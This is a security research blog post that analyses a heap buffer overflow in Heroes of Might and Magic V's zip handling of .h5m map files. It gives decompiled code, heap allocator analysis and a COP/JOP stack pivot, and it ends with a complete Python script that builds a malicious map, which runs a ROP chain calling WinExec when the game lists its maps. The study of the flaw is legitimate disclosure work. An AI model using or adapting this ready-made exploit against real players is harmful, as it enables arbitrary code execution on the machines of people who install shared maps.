Exploiting Heroes of Might and Magic V

Written by Thomas Dubier - 10/06/2025 - in Exploit - Download

Heroes of Might and Magic V is a turn-based strategy video game developed by Nival Interactive.  A map editor is provided with the video game. Players can create maps that can be played in solo or multiplayer. This is an interesting attack vector. In this article we will see how to execute malicious code from a Heroes of Might and Magic V maps.

Looking to improve your skills? Discover our trainings sessions! Learn more.

Introduction

Heroes of Might and Magic V is a strategy video game developed by Nival Interactive. It has been released in 2006 by Ubisoft. The game is based on Silent Storm Engine. Our research focused on the latest version of the game to date, which is 1.60 available on GOG.com. Today we are going to focus on processing game assets. Assets such as maps can be an interesting attack vector. Players can create their own maps with the map editor provided with the game. Maps can be shared on websites such as www.maps4heroes.com.

Map Editor
Map editor


Downloaded maps must be placed in the Maps folder of the game directory. Map files, despite their unique extension (.h5m), are actually zip archive. Each archive contains several files.

  • name.txt map name in UTF-16
  • description.txt map description in UTF-16
  • map.xdb XML file to describe the different objects on the map (Hero, City, etc.)
  • MapScript.xml, XML that contains references to Lua script.
  • MapScript.lua, contains Lua script that will be executed, for example, when heros enter in specified region (The Lua engine and the functions exposed are also an interesting surface, but we didn't dig into it)

A ZIP file is an archive of individually compressed files. Heroes and Might of Magic V uses its own library to parse ZIP. The NZip::CZipReader class reads the metadata of files contained in the central directory.  The CZipFileEntry class is used to represent the metadata of an entry in the Central Directory table.

Zip file format
Zip file format

Vulnerability

A vulnerability is present in one of the methods of CZipFileEntry which is responsible for decompressing a file from the Zip archive. By reverse engineering we named this method CZipFileEntry::GetContent. It calls CZipReader::GetContent. When launching, the game reads all maps and loads only the metadata of each zip archive. Files are uncompressed when necessary. For example when Map name needs to be displayed, CZipFileEntry::GetContent  will be called on the object that represents name.txt.  Each local file header in ZIP file has the following structure:

Local file header
Zip local file header

Below you will find the pseudocode of CZipReader::GetContent. The method maps in memory the local header of the file to decompress [1]. Then it initializes an object of type CMemoryStream [2]. This object makes it easier to manipulate a byte array. The CMemoryStream is sized according to the m_UncompressedSize member extracted from the local Zip file header [3]. The CMemoryStream::SetSize method calls a proprietary memory allocator function named H5_alloc. To finish, method will call  Uncompress function with following parameters :

  • the compressed data represented by an object of type CMemoryMappedFileFragment
  • the memory area which will receive the decompressed data, represented by a CMemoryStream object
  • the size of the decompressed data from the Zip header
  • a boolean to ignore the first 100 decompressed bytes
CMemoryStream *__thiscall CZipReader::GetContent(NZip::CZipReader *this, int entriesNo)
{
  [...]
  v3 = this->entries.startPtr[entriesNo];
  p_cfile = &this->cfile;
  CMemoryMappedFileFragment::CMemoryMappedFileFragment(&v14, &this->cfile, v3->m_OffsetOfLocalHeader, 0x1E); // [1]
  v16 = 0;
  v5 = (v14.__flags & 1) == 0 ? (ZipFileEntryHeader *)v14.pointer : 0;
  offsetCompressedData = (unsigned __int16)v5->m_FilenameSize + v5->m_FileExtraSize + v3->m_OffsetOfLocalHeader + 0x1E;
  if ( v5->m_CompressionMethod )
  {
    v10 = (CMemoryStream *)H5_alloc(0x18u);
    LOBYTE(v16) = 2;
    if ( v10 )
      mData = CMemoryStream::Init(v10); // [2]
    else
      mData = 0;
    m_UncompressedSize = v5->m_UncompressedSize;
    LOBYTE(v16) = 0;
    CMemoryStream::SetSize(mData, m_UncompressedSize); // [3]
    CMemoryMappedFileFragment::CMemoryMappedFileFragment(
      &mmCompressedData,
      p_cfile,
      offsetCompressedData,
      v5->m_CompressedSize);
    uncompressSize = v5->m_UncompressedSize;
    LOBYTE(v16) = 3;
    Uncompress(&mmCompressedData, mData, uncompressSize, 0);

The Uncompress method uses the inflateBack function of the zlib library [1].

int __thiscall Uncompress(
        CMemoryMappedFileFragment *MappedFileFragment,
        CMemoryStream *dstStream,
        int UncompressSize,
        bool inflate)
{
  [...]
  pCompressedData = MappedFileFragment->__rDataPtr;
  v6 = 0;
  dwCompressedDataSize = MappedFileFragment->__rDataPtrEnd - pCompressedData;
  v8 = 0;
  zStream.next_in = pCompressedData;
  zStream.avail_in = dwCompressedDataSize;
  memset(&zStream.zalloc, 0, 12);
  if ( inflate )
  {
    [...]
  }
  rc = inflateBackInit_(&zStream, 15, window, "1.2.3", 0x38);
  if ( !rc )
  {
    if ( (dstStream->field_14 & 1) != 0 )
      dataPtr = 0;
    else
      dataPtr = dstStream->dataPtr;
    inflateBack(&zStream, zlib_in, 0, zlib_out, &dataPtr); // [1]
    rc = inflateBackEnd(&zStream);
    if ( (dstStream->field_14 & 1) == 0 )
      v6 = dstStream->dataPtr;
    v8 = dataPtr - v6;
  }
  if ( v8 != UncompressSize )
    dstStream->field_14 |= 1u;
  return rc;
}

According to the zlib documentation, inflateBack calls two input/output subroutines provided by the caller. inflateBack calls zlib_out once the data is decompressed.

typedef unsigned (*in_func)(void FAR *,
                            z_const unsigned char FAR * FAR *);
typedef int (*out_func)(void FAR *, unsigned char FAR *, unsigned);

ZEXTERN int ZEXPORT inflateBack(z_streamp strm,
                                in_func in, void FAR *in_desc,
                                out_func out, void FAR *out_desc);

zlib_out copies the decompressed data into the memory area associated with the CMemoryStream created previously. This will trigger a heap buffer overflow when the size of the decompressed data exceeds the size entered via the m_UncompressedSize field.

int __cdecl zlib_out(char **ppDest, const void *uncompressedData, unsigned int uncompressedDataSize)
{
  qmemcpy(*ppDest, uncompressedData, uncompressedDataSize);
  *ppDest += uncompressedDataSize;
  return 0;
}

Exploitation

The file name.txt is the first file decompressed from the map. This happens when the user lists available Maps. The main idea is to ensure that the memory area used for decompression is allocated at addresses lower than an already allocated object. Thanks to the vulnerability we will be able to replace the vtable of an existing object. However, the problem is choosing the right object to overwrite. Depending on the name.txt file size, the program will not allocate memory at the same address. The objects allocated can be different depending on user actions. It might be helpful to understand the allocator used.

As we can see in the code snippet below, H5_alloc function does not use malloc for chunks of size less than 0x8000 bytes [1]. Instead it uses a custom allocator.

void *__cdecl H5_alloc(size_t size)
{
  [...]
  if ( size - 1 <= 0x7FFF ) // [1]
  {
    if ( g_HeapArena )
    {
      if ( ThreadLocalStoragePointer[TlsIndex]->initialized )
        return H5_alloc_internal((int)v1, size);
    }
    else
    {
      H5_heap_init();
      p_initialized = &ThreadLocalStoragePointer[v2]->initialized;
      *p_initialized = 1;
      if ( *p_initialized )
        return H5_alloc_internal((int)v1, size);
    }
    return malloc(size);
  }
  if ( size )
    return malloc(size);
  [...]
}

H5_alloc_internal uses linked lists of free chunks ordered by size. This is similar to the tcache heap allocator on Linux. Free chunks of the same size resides in the same memory arena allocated by VirtualAlloc.

void *__fastcall H5_alloc_internal(int a2, signed int size)
{
  [...]
  category = 0;
  g_lastAllocatedSize = size;
  if ( size > 8 )
  {
    v3 = size - 1;
    LOBYTE(v3) = (size - 1) | 7;
    if ( (((_WORD)size - 1) & 0x7E00) != 0 )
    {
      v3 >>= 8;
      category = 16;
    }
    if ( (v3 & 0x1E0) != 0 )
    {
      v3 >>= 4;
      category += 8;
    }
    if ( (v3 & 0x18) != 0 )
    {
      v3 >>= 2;
      category += 4;
    }
    if ( (v3 & 4) != 0 )
    {
      v3 >>= 1;
      category += 2;
    }
    category = category + v3 - 6;
  }
  freeChunk = (void **)g_FreeList[category];
  nextFreeChunk = &g_FreeList[category];
  [...]
  *nextFreeChunk = *freeChunk;
  g_nextFreeChunk = nextFreeChunk;

By executing the code above and varying the size parameter, we obtain the following table which associate maximum chunk size to a free list number. Free chunk of size between 0x11 and 0x18 will be placed in free list number 2. If the program tries to allocate 0x15 bytes, it will search in free list number 2.

Heap Chunks
Heap Chunks

Based on these linked lists we can analyze the heap in search of an interesting object. The following idapython script scans the heap for a vtable. We run the script just before the program allocates space for decompression.

import idaapi
import ida_segment

ea_free_list = idaapi.get_name_ea(idaapi.BADADDR,"g_FreeList")

rdata = ida_segment.get_segm_by_name(".rdata")
text  = ida_segment.get_segm_by_name(".text")

sizes = {1: 16, 2: 24, 3: 32, 4: 48, 5: 64, 6: 96, 7: 128, 8: 192, 9: 256, 10: 384, 11: 512, 12: 768, 13: 1024, 14: 1536, 15: 2048, 16: 3072, 17: 4096, 18: 6144, 19: 8192, 20: 12288, 21: 16384, 22: 24576, 23: 32504}

for i in range(1,24):
    free_chunk = idaapi.get_dword(ea_free_list + 4 * i)
    for k in range(0,5):
        chunk_after = free_chunk + sizes[i] * k
        address = idaapi.get_dword(chunk_after)
        name = idaapi.get_name(address)
        if address >= rdata.start_ea and address <= rdata.end_ea:
            print("[%d:0x%08.8x + %d * 0x%04.4x] .rdata: 0x%08.8x (%s)" % (i,free_chunk,k,sizes[i],address,name))
        if address >= text.start_ea and address <= text.end_ea:
            print("[%d:0x%08.8x + %d * 0x%04.4x] .text: 0x%08.8x (%s)" % (i,free_chunk,k,sizes[i],address,name))

Below is an example of the script output:

[6:0x15070900 + 3 * 0x0060] .text: 0x0063003c ()
[8:0x10590c00 + 1 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x10590c00 + 2 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x10590c00 + 3 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x10590c00 + 4 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[9:0x14d1ef00 + 3 * 0x0100] .rdata: 0x00e53fc8 (vtable__NDb::SWindowSimpleShared)
[9:0x14d1ef00 + 4 * 0x0100] .text: 0x006d003c ()
[10:0x10fb1800 + 3 * 0x0180] .rdata: 0x00e0df0c (??_7CWindowSimple@@6B@)
[15:0x10d38800 + 3 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[15:0x10d38800 + 4 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[16:0x1213a800 + 2 * 0x0c00] .rdata: 0x00e90053 ()
[19:0x1106a000 + 1 * 0x2000] .text: 0x00423942 ()
[19:0x1106a000 + 2 * 0x2000] .text: 0x00423942 ()

[6:0x150864e0 + 3 * 0x0060] .text: 0x0063003c ()
[8:0x105a5c40 + 1 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x105a5c40 + 2 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x105a5c40 + 3 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x105a5c40 + 4 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[9:0x14d13c00 + 1 * 0x0100] .text: 0x0065003c ()
[9:0x14d13c00 + 4 * 0x0100] .text: 0x0065003c ()
[15:0x10d37000 + 3 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[15:0x10d37000 + 4 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[16:0x1213a800 + 2 * 0x0c00] .rdata: 0x00e90053 ()
[19:0x11068000 + 1 * 0x2000] .text: 0x00423942 ()
[19:0x11068000 + 2 * 0x2000] .text: 0x00423942 ()
[20:0x12d70000 + 2 * 0x3000] .text: 0x005e4741 ()


[5:0x14fd9a40 + 1 * 0x0040] .rdata: 0x00e27cf4 (vtable__CBackgroundSimpleTexture)
[6:0x15095100 + 1 * 0x0060] .rdata: 0x00e3c0b8 (vtable__NGScene::CFileTexture)
[8:0x15e69d80 + 1 * 0x00c0] .text: 0x00410020 ()
[8:0x15e69d80 + 2 * 0x00c0] .text: 0x00530050 ()
[8:0x15e69d80 + 3 * 0x00c0] .text: 0x00410020 ()
[8:0x15e69d80 + 4 * 0x00c0] .text: 0x00750043 ()
[12:0x10ccab00 + 1 * 0x0300] .rdata: 0x00e53a9c (vtable__NDb::SBackgroundTiledTexture)
[12:0x10ccab00 + 2 * 0x0300] .rdata: 0x00e2b324 (vtable__NDb::SAdvMapDesc)
[12:0x10ccab00 + 3 * 0x0300] .rdata: 0x00e2b324 (vtable__NDb::SAdvMapDesc)
[15:0x10d34800 + 4 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)

We note that after several attempts, it seems that an object of type NGScene::CLightStateNode always appears to be positioned 0x2000 bytes further than the first free chunk of heap arena number 15.

Therefore, decompressing a map with name.txt bigger than 0x2000 bytes (and with metadata that indicates a size of 0x800 bytes) will overwrite the vtable of  NGScene::CLightStateNode object.

The vtable is used when the object is freed. Because binary doesn't have ASLR enabled, we known the addresses of the sections ( .text, .rdata, ...). However we do not known the addresses of the stack and the heap. All that remains is to find a way to make a stack pivot. If ESP points to our payload in heap, we will be able to chain gadgets.

By analyzing the call when object is released, we notice that ECX and ESI registers point to the overwritten object.

.text:00B20444                 mov     eax, [esi]        ; get vtable from ESI
.text:00B20446                 push    1
.text:00B20448                 mov     ecx, esi          ; ECX = this
.text:00B2044A                 call    dword ptr [eax+8] 

By scanning the .text and .rdata section for a valid address, we find at 0x009c91d8 a pointer to some interesting code.

0x009c91d8 : 0x00d886c7
0x00d886c7 : xchg ebp, eax ; jl 0xd886b1 ; call ptr [ecx - 0x3d]

This is the simplest gadget you can use to get an arbitrary call. It uses a call far instruction.  Therefore, we need to write at ECX - 0x3D an address and a code segment selector. The code segment selector need to be 0x23 to select the 32 bits segment on Windows x64. A detailed explanation of the use of segment registers under Windows is available on this blogpost : https://antonioparata.blogspot.com/2023/01/the-segment-memory-model-and-how-it.html. The address will point to the next useful gadget. Gadgets that end with a ret instruction cannot be used since we don't control the content of the stack. A gadget chain that ends with jmp or call instructions is commonly called a COP/JOP chain.
 

The following schema will describe the COP/JOP chain which is used to stack pivot.  PADDING sections are filled with zeros. If the allocator uses one of the chunks that has been overwritten, a nextPointer at 0 indicates the end of the chained list. This improves the stability of the exploit.

  • 1 and 2 the vtable points to a pointer to the .text section. This is the first gadget in the COPChain.
  • 3, this gadget will push the address of the object (ESI) on the stack
  • 4, this gadget will pop object address into ESP. ESP now points to the corrupt NGScene::CLightStateNode object.
  • 5, this gadget is necessary to increments ESP and begin ROPChain on unused space.
COP Chain
Pivot code flow steps

Conclusion

A user that downloads and installed maps from an unknown source is exposed to a risk. Maps can be used to install malicious code. We successfully exploited this vulnerability on a Windows 10 (ver 10.0.19045.5487). Exploit can probably be improved by using another file than name.txt to trigger vulnerability. And by using a heap spray primitive. One idea would be use the file map.xdb to allocate objects of chosen size.

Video file

Exploit script

# -*- coding: utf-8 -*-
# -----------------------------------------------------
# Map Exploit Heroes of Might and Magic V
# Version : 1.60
# Tested  : Microsoft Windows [version 10.0.19045.5487]
# -----------------------------------------------------

import struct
from zipfile import *

IAT_LoadLibraryA   = 0x00DE313C
IAT_GetProcAddress = 0x00DE30AC
szKernel32Dll      = 0x00E3E940

# Gadget address
mov_ptr_ebx_edi     = 0x0083594b  # mov dword ptr [ebx], edi ; ret
pop_ebx_edi         = 0x004a704c  # pop ebx ; pop edi ; ret
jmp_dword_ptr       = 0x00432fe2  # jmp dword ptr [ebx]
ret                 = 0x00401005  # ret
pop_ebx             = 0x00405eb1  # pop ebx ; ret
jmp_eax             = 0x00569a81  # jmp eax
mov_esi_esp         = 0x0041de8d  # push esp ; pop esi ; ret
mov_ptr_esi_18h_eax = 0x00ac91ea  # mov dword ptr [esi + 0x18], eax ; ret

def write(address,value):
    p = struct.pack("<I",pop_ebx_edi)
    p+= struct.pack("<I",address)
    p+= struct.pack("<I",value)
    p+= struct.pack("<I",mov_ptr_ebx_edi)
    return p

def write_string(address,s):
    p=b""
    for i in range(0,len(s),4):
        chunk_s = s[i:i+4].encode('utf-8')
        chunk_s+= (4 - len(chunk_s)) * b"\x00"
        chunk = struct.unpack("<I",chunk_s)[0]
        p+= write(address + i,chunk)
    return p

# Gadget used for pivot
# 0x009c91d8 : 0x00d886c7
# 0x00d886c7 : xchg ebp, eax ; jl 0xd886b1 ; call ptr [ecx - 0x3d]
# 0x00a8f57b : push esi ; call dword ptr [ecx + 0x10]
# 0x004b6a20 : pop esi ; pop esp ; pop esi ; pop ebp ; pop ebx ; ret

ptr_calc = 0x01112F58 + len("WinExec\0")

# Prepare Payload
mapName = "Exploit\0".encode('utf-16')
payload = mapName
payload+= b"\x00"*(0x800 * 4 - 0x3d - len(mapName))
payload+= struct.pack("<I",0x00a8f57b)
payload+= struct.pack("<H",0x23)
payload+= b"\x00" * (0x37)
payload+= struct.pack("<I",0x009c91d8 - 0x08) # <- ECX + 0x00
payload+= struct.pack("<I", 2)                # ECX + 0x04 (2)
payload+= struct.pack("<I", 0)                # ECX + 0x08 (0)
payload+= struct.pack("<I", pop_ebx)          # ECX + 0x0C (0)
payload+= struct.pack("<I", 0x004b6a20)       # ECX + 0x10 (1)

payload+= write_string(0x01112F58,"WinExec\0")
payload+= write_string(0x01112F58 + len("WinExec\0"),"C:\\Windows\\System32\\calc.exe")
payload+= struct.pack("<I",pop_ebx)
payload+= struct.pack("<I",IAT_LoadLibraryA)
payload+= struct.pack("<I",jmp_dword_ptr) # ret 4
payload+= struct.pack("<I",mov_esi_esp)
payload+= struct.pack("<I",szKernel32Dll)
payload+= struct.pack("<I",mov_ptr_esi_18h_eax) # 0x04
payload+= struct.pack("<I",pop_ebx)             # 0x08
payload+= struct.pack("<I",IAT_GetProcAddress) # 0x0c
payload+= struct.pack("<I",ret)
payload+= struct.pack("<I",jmp_dword_ptr) # end with ret 8 0x10
payload+= struct.pack("<I",jmp_eax) # 0x14
payload+= struct.pack("<I",0xFFFFFFFF) # 0x18
payload+= struct.pack("<I",0x01112F58)
payload+= struct.pack("<I",0x00C0D918) # exit
payload+= struct.pack("<I",ptr_calc)
payload+= struct.pack("<I",0)

# Copy all files from the template map with the same compress type and compress level
# except name.txt file
with ZipFile('Template.h5m','r') as inputZip:
    with ZipFile('Exploit.h5m','w') as outputZip:
        for name in inputZip.namelist():
            zipInfo = inputZip.getinfo(name)
            if name == 'Maps/Multiplayer/Test/name.txt':
                outputZip.writestr(name,payload,zipInfo.compress_type,zipInfo.compress_level)
            else:
                with inputZip.open(name,'r') as fp:
                    outputZip.writestr(name,fp.read(),zipInfo.compress_type,zipInfo.compress_level)

# Parsing Zip File
ZIP_LOCAL_FILE_HEADER_MAGIC = 0x04034B50

with open("Exploit.h5m","r+b") as fp:
    # Search Local File Header for name.txt file
    while True:
        offset = fp.tell()
        magic = struct.unpack("<I",fp.read(4))[0] 
        if ZIP_LOCAL_FILE_HEADER_MAGIC == magic:
            fp.seek(offset + 0x12)
            compressed_size   = struct.unpack("<I",fp.read(4))[0]
            uncompressed_size = struct.unpack("<I",fp.read(4))[0]
            filename_len      = struct.unpack("<H",fp.read(2))[0]
            extra_field_len   = struct.unpack("<H",fp.read(2))[0]
            filename = fp.read(filename_len).decode('utf-8')
            if filename == 'Maps/Multiplayer/Test/name.txt': 
                # Patch Uncompressed Size to 0x800
                print("Compressed Size   : 0x%08.8x" % compressed_size)
                print("Uncompressed Size : 0x%08.8x" % uncompressed_size)
                print("Patching Uncompressed Size")
                fp.seek(offset + 0x16)
                fp.write(struct.pack("<I",0x800))
                break
            else:
                fp.seek(offset + 0x1E + filename_len + extra_field_len + compressed_size)
        else:
            print("Stop parsing at offset 0x%08.8x" % fp.tell())
            break

References